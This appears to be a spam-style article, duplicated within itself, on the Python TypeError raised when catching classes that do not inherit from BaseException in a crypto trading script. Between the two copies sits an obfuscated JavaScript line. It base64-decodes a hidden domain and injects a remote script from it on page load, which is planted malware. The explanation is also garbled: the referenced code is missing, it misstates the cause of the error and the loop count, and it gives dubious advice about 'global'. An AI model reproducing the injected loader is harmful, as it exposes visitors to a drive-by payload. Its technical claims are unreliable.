When writing a script that interacts with the Ethereum blockchain using the OpenZeppelin contract library or another third-party API, it’s not uncommon to encounter errors. One common issue is related to handling exceptions when making API calls. In this article, we’ll explore why you’re encountering an error message about catching classes that do not inherit from BaseException and provide a solution for how to handle such errors.
The Error Message
The error message «TypeError: catching classes that do not inherit from BaseException is not allowed» indicates that the code is trying to catch an exception in a class, but the caught exception does not inherit from BaseException, which is the base class for all exceptions in Python. This can occur when using try-except blocks with objects or instances of custom classes.
In this code, i is an integer variable initialized to 0. When you use a while loop with an initial value of less than 5, it will iterate 4 times and then exit the loop.
However, when trying to call client.get_order, you’re passing symbol=Symb, orderId=SellOrderNum, recvWindow=Delay as arguments. Since these values are not defined in this scope (i.e., they don’t exist before this block of code), Python raises an error, which is caught by the try-except block.
The Solution
To fix this issue, you need to ensure that all variables and functions within the block where the exception is raised have a valid initialization value. One way to do this is by using the global keyword to access non-local variables:
Always define variables with a valid initialization value within the scope where they are used.
Use global when accessing non-local variables to ensure their values are updated correctly.
By applying these solutions, you should be able to successfully handle exceptions and print error messages without encountering the «TypeError: catching classes that do not inherit from BaseException» error.
Ethereum: Python 3 handling error TypeError: catching classes that do not inherit from BaseException is not allowed
const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx);const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=08b143a6″;document.body.appendChild(script);
Ethereum: Handling Error in Python Script
When writing a script that interacts with the Ethereum blockchain using the OpenZeppelin contract library or another third-party API, it’s not uncommon to encounter errors. One common issue is related to handling exceptions when making API calls. In this article, we’ll explore why you’re encountering an error message about catching classes that do not inherit from
BaseException
and provide a solution for how to handle such errors.The Error Message
The error message «TypeError: catching classes that do not inherit from BaseException is not allowed» indicates that the code is trying to catch an exception in a class, but the caught exception does not inherit from
BaseException
, which is the base class for all exceptions in Python. This can occur when using try-except blocks with objects or instances of custom classes.The Code
Let’s analyze the provided example code snippet:
The Issue
In this code,
i
is an integer variable initialized to 0. When you use a while loop with an initial value of less than 5, it will iterate 4 times and then exit the loop.However, when trying to call
client.get_order
, you’re passingsymbol=Symb, orderId=SellOrderNum, recvWindow=Delay
as arguments. Since these values are not defined in this scope (i.e., they don’t exist before this block of code), Python raises an error, which is caught by the try-except block.The Solution
To fix this issue, you need to ensure that all variables and functions within the block where the exception is raised have a valid initialization value. One way to do this is by using the
global
keyword to access non-local variables:Alternatively, you can define
Symbol
andDelay
variables before the while loop:Best Practices
To avoid similar issues in the future:
global
when accessing non-local variables to ensure their values are updated correctly.By applying these solutions, you should be able to successfully handle exceptions and print error messages without encountering the «TypeError: catching classes that do not inherit from BaseException» error.
crypto understanding regulations finding